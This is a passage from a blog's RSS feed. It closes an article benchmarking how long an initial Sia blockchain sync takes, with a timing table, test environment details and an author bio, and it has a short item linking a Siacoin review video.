&lt;p&gt;31 minutes or 10.57% of the time was spent doing other tasks that my tests did not specifically benchmark. This includes tasks such as validating the headers, error checking, moving between functions in the code, logging, etc.&lt;/p&gt;

&lt;p&gt;While 10.57% is a significant portion of the time, it accounts for thousands of lines of code. As far as I can tell, most of this cannot be avoided or easily optimized.&lt;/p&gt;

&lt;h2 id=&quot;timing-the-synchronization&quot;&gt;Timing the synchronization&lt;/h2&gt;

&lt;p&gt;To gather these measurements, I instrumented the code by adding a new function to the consensus module named &lt;code class=&quot;highlighter-rouge&quot;&gt;timeTrack&lt;/code&gt;. This function measured how long sections of code took to run. &lt;code class=&quot;highlighter-rouge&quot;&gt;timeTrack&lt;/code&gt; simply accepts a &lt;code class=&quot;highlighter-rouge&quot;&gt;start&lt;/code&gt; time and calculates the elapsed time between &lt;code class=&quot;highlighter-rouge&quot;&gt;start&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;time.Now()&lt;/code&gt;. By calling &lt;code class=&quot;highlighter-rouge&quot;&gt;timeTrack&lt;/code&gt; at different places around the consensus module I was able to calculate an elapsed time for the major pieces of code executed during an initial Sia synchronization.&lt;/p&gt;

&lt;p&gt;You can check out my custom Sia code, including the &lt;code class=&quot;highlighter-rouge&quot;&gt;timeTrack&lt;/code&gt; function &lt;a href=&quot;https://github.com/NebulousLabs/Sia/compare/4df5b2e019f760d35461bd90104abd7c2715d8a3...tbenz9:sync-benchmark?expand=0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The numbers I used represent an average of three tests. I ran these tests at different times of the day, throughout the week, with a standard Sia configuration.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Test&lt;/th&gt;
      &lt;th&gt;Downloading blocks (s)&lt;/th&gt;
      &lt;th&gt;Validating transactions (s)&lt;/th&gt;
      &lt;th&gt;Applying transactions (s)&lt;/th&gt;
      &lt;th&gt;Notifying subscribers (s)&lt;/th&gt;
      &lt;th&gt;Everything else (s)&lt;/th&gt;
      &lt;th&gt;Total Time (s)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Test 1&lt;/td&gt;
      &lt;td&gt;4887&lt;/td&gt;
      &lt;td&gt;2455&lt;/td&gt;
      &lt;td&gt;234&lt;/td&gt;
      &lt;td&gt;3390&lt;/td&gt;
      &lt;td&gt;1708&lt;/td&gt;
      &lt;td&gt;12674&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Test 2&lt;/td&gt;
      &lt;td&gt;15188&lt;/td&gt;
      &lt;td&gt;2458&lt;/td&gt;
      &lt;td&gt;237&lt;/td&gt;
      &lt;td&gt;3159&lt;/td&gt;
      &lt;td&gt;1952&lt;/td&gt;
      &lt;td&gt;22994&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Test 3&lt;/td&gt;
      &lt;td&gt;12028&lt;/td&gt;
      &lt;td&gt;2457&lt;/td&gt;
      &lt;td&gt;235&lt;/td&gt;
      &lt;td&gt;3339&lt;/td&gt;
      &lt;td&gt;1947&lt;/td&gt;
      &lt;td&gt;20006&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Average (s)&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;10701&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;2457&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;235&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;3296&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;1869&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;18558&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Average (m)&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;178&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;41&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;55&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;31&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;309&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;For full test results and timestamps, please check out my &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1p2VojXu4NXIwKQ-QbPdZq8JprvL_lOZpRG5hrbFDhKw/edit?usp=sharing&quot;&gt;Google Spreadsheet&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;my-test-environment&quot;&gt;My test environment&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;OS: Ubuntu 16.04 LXC Container&lt;/li&gt;
  &lt;li&gt;CPU: Intel Xeon D-1521 @ 2.4GHz&lt;/li&gt;
  &lt;li&gt;RAM: 4 GB&lt;/li&gt;
  &lt;li&gt;Network: Comcast residential 250Mbps Down. 10Mbps Up.&lt;/li&gt;
  &lt;li&gt;SSD: Samsung 960 NVMe M.2 512GB&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;about-the-author&quot;&gt;About the author&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Thomas Bennett&lt;/strong&gt; is a Linux System Engineer with an interest in distributed systems, high-performance computing, and massive parallel storage systems. He has been involved in the Sia community for the last 9 months and is excited to see what Sia has to offer in the coming year.&lt;/p&gt;

&lt;p&gt;If you enjoyed this article and would like to see more from Thomas, feel free to send a little Siacoin to his donation address below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Siacoin donations (Thomas Bennett)
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;f63f6c5663efd3dcee50eb28ba520661b1cd68c3fe3e09bb16355d0c11523eebef454689d8cf&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 05 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/sia-blockchain-sync/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/sia-blockchain-sync/</guid>
      </item>
    
      <item>
        <title>Every Siacoin Review Ever</title>
        <description>&lt;p&gt;There are a lot of Siacoin reviews out there, so I decided to save everyone some time and coalesce them all into a single Siacoin review video to rule them all. Enjoy!&lt;/p&gt;

&lt;iframe width=&quot;640&quot; height=&quot;360&quot; src=&quot;https://www.youtube.com/embed/TB9IjdsKLik&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;
</description>
        <pubDate>Sun, 01 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/every-siacoin-review-ever/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/every-siacoin-review-ever/</guid>
      </item>
    
  </channel>
</rss>
